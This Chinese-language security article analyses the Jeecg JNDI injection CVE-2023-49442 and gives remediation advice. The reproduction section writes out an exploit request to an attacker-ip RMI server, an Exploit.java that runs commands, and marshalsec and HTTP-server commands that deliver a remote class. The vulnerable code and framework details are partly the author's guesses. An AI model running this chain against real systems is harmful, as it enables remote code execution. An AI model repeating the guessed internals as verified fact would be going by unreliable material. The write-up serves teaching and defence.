Jeecg框架JNDI注入漏洞深度剖析：从原理到实战复现与修复

1. 项目概述：一次典型的JNDI注入漏洞深度剖析

最近在梳理一些开源框架的历史漏洞时，CVE-2023-49442这个编号引起了我的注意。这是一个关于Jeecg（注意，不是Jeecg-Boot）框架中 jeecgFormDemoController.do 接口的JNDI注入漏洞，最终可导致远程代码执行。这类漏洞在Java Web应用中并不少见，但每一次分析都能让我们对框架的安全设计、开发者的编码习惯以及攻击者的利用链有更深的理解。对于从事Java开发、安全研究或运维工作的朋友来说，搞清楚这类漏洞的来龙去脉，不仅是修复一个CVE编号那么简单，更是提升自身代码安全意识和应急响应能力的好机会。

简单来说，这个漏洞的核心是攻击者能够向一个特定的接口发送精心构造的HTTP请求，该请求中包含恶意的JNDI查找地址（如 ldap://evil-server/Exploit ）。由于服务端在处理请求时，未对用户输入进行有效过滤和校验，便直接将其用于JNDI查询，导致应用会向攻击者控制的恶意LDAP/RMI服务器发起请求，并加载执行服务器返回的恶意Java类，从而在目标服务器上执行任意代码。整个过程，就是一次典型的“JNDI注入”攻击。下面，我将结合漏洞原理、环境搭建、动态调试和修复方案，带大家完整地走一遍这个漏洞的分析与复现之路。

2. 漏洞原理与背景深度解析

2.1 Jeecg框架与涉事接口定位

首先需要明确，漏洞影响的是Jeecg，而非其后来重写的现代化版本Jeecg-Boot。Jeecg是一个基于代码生成器的快速开发平台，早期版本采用了Struts2+Spring+Hibernate（SSH）或Struts2+Spring+Jdbc等传统架构。 jeecgFormDemoController 从命名上看，很可能是一个用于演示表单处理的控制器。在Struts2框架中， .do 后缀的请求通常由特定的Struts2过滤器处理，并映射到对应的Action类。

根据公开信息，漏洞接口路径为 jeecgFormDemoController.do?interfaceTest 。这里的 interfaceTest 很可能是一个方法名，通过Struts2的动态方法调用（DMI）特性， ! 或 method: 前缀（取决于Struts2版本和配置）来指定执行Action中的哪个方法。攻击者正是通过这个接口，传递了恶意的参数。

2.2 JNDI注入攻击原理重温

要理解这个漏洞，必须吃透JNDI注入。JNDI（Java Naming and Directory Interface）是Java提供的一个API，用于访问各种命名和目录服务，比如LDAP、RMI、DNS等。它的核心思想是“通过名称查找对象”。例如，一段代码可能这样写： InitialContext ctx = new InitialContext(); Object obj = ctx.lookup(“ldap://example.com/cn=test,dc=org”); 。

JNDI注入漏洞就发生在 lookup() 函数的参数上。如果这个参数（即要查找的地址）可以被用户完全控制，那么攻击者就可以将其指向自己搭建的恶意LDAP或RMI服务。更危险的是，在Java版本历史中（特别是JDK 6u141, 7u131, 8u121之前），JNDI支持自动加载远程代码对象。恶意LDAP服务器可以返回一个序列化的 Reference 对象，其中指定了从远程HTTP地址加载的工厂类（Factory Class）。当受害应用在 lookup() 时，会自动去下载并实例化这个工厂类，而工厂类的构造方法或 getObjectInstance 方法中的代码就会被执行。

即使在高版本Java中限制了远程类加载，攻击者依然可以结合本地ClassPath中存在的可利用类（如 org.apache.naming.factory.BeanFactory 配合EL表达式处理器）进行利用，或者利用某些服务的反序列化链。因此，JNDI注入的危害性极高，是通往RCE（远程代码执行）的一条捷径。

2.3 漏洞触发点推测与关联思考

结合“formDemoController”和“interfaceTest”这些关键词，我们可以合理推测漏洞触发场景：

1. 接口功能 ： interfaceTest 方法可能是一个通用的“接口测试”功能，用于接收用户输入的某个URL或JNDI地址，并尝试去连接它，以测试连通性或返回数据。这在一些需要配置外部数据源、消息中间件连接的应用中，是可能存在的调试功能。
2. 参数传递 ：用户输入的测试地址，很可能通过HTTP请求参数（如 jndiAddr 、 url 、 serviceUrl 等）传递给后端。
3. 危险操作 ：后端代码直接获取该参数，未做任何安全校验，便拼接或直接传入 new InitialContext().lookup(userInput) 中。
4. 框架特性 ：Struts2框架的参数绑定机制，会自动将HTTP请求参数映射到Action类的成员变量或方法参数上，使得攻击者传递恶意参数非常方便。

这个漏洞模式，与历史上很多“配置测试”、“连接测试”功能引发的漏洞如出一辙。它提醒我们，任何将用户输入直接用于网络I/O、文件操作、命令执行或反射加载的行为，都必须经过严格的白名单校验。

3. 漏洞环境搭建与调试分析

3.1 环境准备与漏洞版本定位

要深入分析，最好的办法就是搭建一个漏洞复现环境。由于Jeecg版本众多，我们需要找到明确受影响的版本。根据CVE描述和漏洞时间，我们可以尝试寻找2018-2022年间的Jeecg 3.x版本。可以从开源仓库、历史发布包或者漏洞验证环境中获取对应的WAR包。

部署步骤：

1. 准备JDK ：为了复现经典的远程类加载，我们需要使用一个存在漏洞的JDK版本，例如JDK 8u121以下（如8u102）。同时准备一个高版本JDK（如8u351）用于对比验证修复和绕过限制。
2. 准备中间件 ：使用Tomcat 7.x或8.x作为Servlet容器。将下载的Jeecg WAR包（如 jeecg-v3.8.war ）重命名为 ROOT.war 并放入 webapps 目录，启动Tomcat。
3. 准备攻击机 ：使用一台独立虚拟机，安装Java环境，用于启动恶意RMI/LDAP服务器和HTTP服务（用于托管恶意类文件）。

注意 ：整个实验必须在隔离的虚拟网络或本地环回环境中进行，严禁对任何非授权系统进行测试。

3.2 动态调试与代码追踪

部署成功后，我们使用IDEA或Eclipse将Jeecg项目导入，并配置远程调试。

1. 定位入口 ：在Struts2的配置文件中（通常是 struts.xml ），搜索 jeecgFormDemoController ，找到其对应的Action类，例如 com.jeecg.demo.controller.FormDemoController 。
2. 定位漏洞方法 ：在该类中寻找 interfaceTest 方法。通过动态调试，在方法入口处打上断点。

   public class FormDemoController extends BaseController {
       public String interfaceTest() {
           // 断点打在这里
           String jndiUrl = getRequest().getParameter("jndiUrl");
           // ... 后续处理
       }
   }
   

3. 发起攻击请求 ：从攻击机使用Burp Suite或Curl发送Payload：

   GET /jeecg/jeecgFormDemoController.do?interfaceTest&jndiUrl=rmi://attacker-ip:1099/Exploit HTTP/1.1
   Host: target-server
   

4. 跟踪数据流 ：在调试器中，一步步跟踪 jndiUrl 这个参数的值。关键是要看它最终被传递到了哪里。我们预期会看到类似下面的危险代码：

   try {
       InitialContext ctx = new InitialContext();
       // 用户输入的jndiUrl直接传入lookup
       Object object = ctx.lookup(jndiUrl);
       // 可能还会将object以某种形式输出到响应中
   } catch (NamingException e) {
       e.printStackTrace();
   }
   

5. 观察执行流程 ：当执行到 ctx.lookup() 时，应用会向 attacker-ip:1099 发起RMI请求。此时，攻击机上启动的恶意RMI服务器会响应这个请求。

3.3 恶意服务器构造与利用链完成

在攻击机上，我们使用 marshalsec 这个工具来快速启动一个恶意的RMI服务器。

1. 编译恶意类 ：首先，编写一个简单的恶意Java类，其静态代码块或构造函数中包含执行命令的代码。

   // Exploit.java
   public class Exploit {
       static {
           try {
               Runtime.getRuntime().exec("calc.exe"); // Windows弹计算器
               // 或 Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "touch /tmp/pwned"});
           } catch (Exception e) {
               e.printStackTrace();
           }
       }
   }
   

   将其编译为 Exploit.class 。

2. 托管Class文件 ：在攻击机上，使用Python启动一个简单的HTTP服务器，将 Exploit.class 文件放在其根目录下。

   python3 -m http.server 8888
   

3. 启动恶意RMI服务器 ：

   java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://attacker-ip:8888/#Exploit" 1099
   

   这条命令会在1099端口启动一个RMI服务器。当有客户端连接并查询 Exploit 对象时，它会返回一个 Reference ，指向 http://attacker-ip:8888/Exploit.class 。

4. 触发漏洞 ：完成以上步骤后，从攻击机发送步骤3.2中的恶意请求。在调试器中，当执行到 lookup() 时，观察网络连接和进程行为。如果成功，在目标服务器（Windows环境下）将会弹出计算器，或者在Linux下创建 /tmp/pwned 文件，这证明了远程代码执行成功。

4. 漏洞修复方案与安全加固实践

4.1 官方修复与临时缓解措施

对于此类漏洞，最根本的修复是升级到官方已修复的版本。如果无法立即升级，可以采取以下紧急缓解措施：

1. 访问控制 ：立即在防火墙、WAF或应用层（如Filter）中，拦截对 /jeecgFormDemoController.do?interfaceTest 路径的访问。这是最快速有效的止血方式。
2. 代码层临时修复 ：找到 FormDemoController 类中的 interfaceTest 方法，直接注释或删除其中包含 InitialContext.lookup() 调用的危险代码段，或者在该方法开始处直接返回错误信息。
3. JVM参数限制 ：对于高版本JDK，可以通过设置系统属性来全局限制JNDI协议和类加载：
   • -Dcom.sun.jndi.rmi.object.trustURLCodebase=false
   • -Dcom.sun.jndi.ldap.object.trustURLCodebase=false
   • -Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false 这些参数在默认情况下高版本JDK已设置为false，但显式声明可以增加安全性。 注意 ：这只能防御远程类加载，无法防御基于本地ClassPath的利用链。

4.2 安全编码规范与长期防护

从根源上杜绝此类漏洞，需要在开发阶段就建立牢固的安全意识：

1. 禁止用户输入控制JNDI地址 ：这是铁律。任何用于 InitialContext.lookup() 、 DirContext.search() 等方法的参数，如果其值来源于用户输入（包括HTTP参数、头部、Cookie、数据库字段等），必须进行严格的 白名单校验 。白名单应只允许已知的、受信任的内部服务地址或命名模式。
2. 最小化危险功能 ：像“接口测试”、“动态连接”这类功能，在线上生产环境中应尽量避免。如果必须存在，应将其置于严格的权限控制之下（如仅管理员可访问），并对输入进行强校验。
3. 升级依赖与运行环境 ：
   • JDK ：务必使用最新或受支持的长期支持（LTS）版本。JDK 8u121, 7u131, 6u141及以上版本默认关闭了JNDI远程类加载。
   • Struts2 ：如果仍在使用Struts2，必须保持框架版本最新，并密切关注安全公告。Struts2历史上存在大量远程代码执行漏洞。
   • 其他组件 ：定期使用SCA（软件成分分析）工具扫描项目依赖，及时更新存在已知漏洞的第三方库。
4. 实施输入验证与输出编码 ：对所有用户输入实施前后端统一的验证规则。对于需要展示的用户数据，进行正确的输出编码，防止XSS等二次攻击。
5. 进行安全代码审计 ：将JNDI注入、SQL注入、命令注入、不安全的反序列化等常见漏洞模式，作为代码审计和代码评审的必查项。可以使用静态应用安全测试（SAST）工具进行自动化辅助扫描。

5. 从CVE-2023-49442延伸的防御思考

分析完这个具体的漏洞，我们不妨把视野放宽。JNDI注入之所以屡禁不止，背后反映出的是一些更深层的问题：

1. 框架的“便捷性”与“安全性”矛盾 ：像Struts2的动态方法调用、参数自动绑定等特性，极大提高了开发效率，但也引入了巨大的攻击面。开发者如果只知其一不知其二，很容易写出不安全的代码。这就要求框架设计者在提供便捷功能的同时，必须提供清晰的安全指南和默认的安全配置。
2. “测试/调试”接口的管理盲区 ：很多漏洞都出自 /test 、 /demo 、 /admin 、 /debug 这类接口。开发者在编写时往往只考虑功能实现，忽略安全，并且这些接口在上线后容易被遗忘，没有从生产环境中移除或保护起来。 最佳实践是，所有调试和管理接口必须在生产环境通过配置完全禁用，或通过独立的、高度安全的网络通道访问。
3. 漏洞的关联性 ：我们注意到热词中提到了“Struts2-045”、“Weaver E-Mobile”等漏洞。这说明攻击者经常使用自动化工具进行大规模扫描，一旦发现某个Struts2应用，就会尝试一系列已知的Struts2漏洞Payload。因此，仅仅修复一个CVE是不够的，需要系统性评估整个应用栈的安全状况。
4. 安全左移的必要性 ：等到漏洞被公开、被分配CVE编号时，往往意味着已经有系统被入侵。真正的安全应该贯穿软件开发生命周期（SDLC）的始末：需求阶段考虑威胁建模，设计阶段考虑安全架构，编码阶段遵循安全规范，测试阶段进行渗透测试，运营阶段进行监控和应急响应。

回过头看CVE-2023-49442，它不仅仅是一个需要打上的补丁，更是一个生动的安全教学案例。它告诉我们，哪怕是一个看似无害的“测试功能”，在错误的实现方式下，也会成为攻击者通往服务器内网的桥梁。作为技术人员，我们应当从中吸取教训，在编写每一行代码时都多问一句：“这个输入，可信吗？”